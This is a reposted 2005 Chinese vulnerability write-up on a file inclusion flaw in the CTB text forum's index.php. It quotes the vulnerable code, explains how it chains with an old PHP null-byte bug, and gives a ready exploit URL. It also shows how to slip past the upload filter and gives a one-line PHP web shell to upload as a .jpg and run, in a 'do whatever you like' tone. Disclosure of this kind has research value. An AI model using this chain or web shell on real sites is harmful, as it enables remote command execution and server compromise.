统计在线人数...

CTB任意文件包含漏洞

[ 来源:不详 | 作者:neeao | 时间:2005-6-22 19:28:16 | 浏览:统计中... ]


作者:sniper
来自:sniper‘s Blog
日期:2005.6.17

CTB(China Text Bulletin)论坛是一款免费的国产文本论坛。由于代码比较成熟和文本论坛的
方便特性在国内使用较为广泛。以前曾经粗略翻过一下改论坛的代码发现了一个XSS漏洞,后由于学业繁忙
便没有再进行深度发掘。今年过年的时候又看了看代码发现了点重大安全隐患。

受影响的版本:
CTB 1.73 bete1
在此之前的版本也应该受此影响,具体版本因为条件所限为能一一测试。

index.php中由于对用户递交的mods变量未做足够的判断和过滤导致远程攻击者可以结合PHP本身漏洞
执行PHP代码,进而获得服务器上的文件操作权限。

index.php部分代码如下:
~~~~~~~~~~~~~~~~~~cut here~~~~~~~~~~~~~
if (!file_exists("./mods/".$mods.".php")) {
$mods = "main";
}
require_once ("./mods/".$mods.".php");
~~~~~~~~~~~~~~~~~~~cut here~~~~~~~~~~~~~~

论坛的开发人员显然对于mods变量未做足够的防范,首先判断了一下文件是否存在,如果文件存在的话就直接包含该文件了,而我们可以在mods变量中添加若干个../来跳转目录,使程序包含进我们指定的PHP代码并且执行!当然大家也许会说我们能控制的仅仅是$mods部分,后面程序还会自动给加上一个.php的后缀。显然,在实际中远程攻击者如果能直接到服务器上上传一个.php的文件的话那他就不用这么麻烦再来利用这个漏洞了:)
PHP本身也存在一个安全漏洞,并且正好为我们所用:
php4.3.9存在字符攻击漏洞,利用此漏洞,攻击者可读取任意文件。存在于php4.3.6 ~ 4.3.9以及php5.0.0 ~ 5.0.2中的bug,攻击者可以通过构造上传文件的名称来跨越目录权限。这几个漏洞同时存在于win32及unix版本中,win32易受攻击!

Addslashes() 漏洞

在Addslashes()函数中,空字节被错误编码,当某个文件通过include或者require来包含用户输入的文件时,攻击者就可以利用此漏洞来读取文件。
Addslashes函数应该将空字节(在这篇文章中我们表示为”%00″)转化为”\0″,在php4.3.9中,空字节被转化为”\%00″,在include和require指令中所有在此之后的字符将会被忽略,攻击者可缩短include函数中要加载的文件名字。最后一个字符为反斜线,在windows系统中,反斜线是目录分割符。在php4.3.9中,反斜线前面的字符构成的文件名被加载。
具体描述以及补丁参考官方公告

再结合一下我们前面的代码分析,很容易的我们就可以想到我们只需要结合这个漏洞在mods变量上再做点手脚我们就可以达到目的了
例如:
http://www.target.com/ctb/index.php?mods=../data/upfile/2_1_1118989409.jpg%00&forumid=1&postid=2&p=1
我们指定mods=../data/upfile/2_1_1118989409.jpg%00
而由于php本身的漏洞还有CTB程序的问题,CTB最后包含的文件将会是
require_once ("./data/upfile/2_1_1118989409.jpg");
如果jpg里面写的是一个php木马呢,嘿嘿,后果会怎么样。
说到这里就已经很清楚了,利用这个漏洞我们可以写一个短小的php木马来执行命令。不过上传的时候注意不要带一些字符:
if (stristr($uploadFileContent, 'form') !== false or stristr($uploadFileContent, 'javascript') !== false) {
unlink($uploadNewPath);
$this->showMsg("上传附件中含有系统禁止的字符,请先修改或压缩打包后重新上传");
写一句话木马就可以了:
<?php system($sniper);?>
存为.jpg文件,然后上传,然后找到上传后的路径,再利用index.php包含、执行,OK了。想干什么干什么吧,嘿嘿,如果服务器禁止了system函数自己想办法吧,这不属于本问讨论范围了。php功能还是蛮强大的:)
共有0人参与评价,平均得分:0分
评论内容只代表网友观点,与本站立场无关! 查看完整内容
   

当前在线人数
QQ:748838 MSN:allen_xia#msn.com E-mail:allenxia666#126.com QQ群:站长联盟北方区-北京(28200145) 站长联盟南方区-上海(67713522)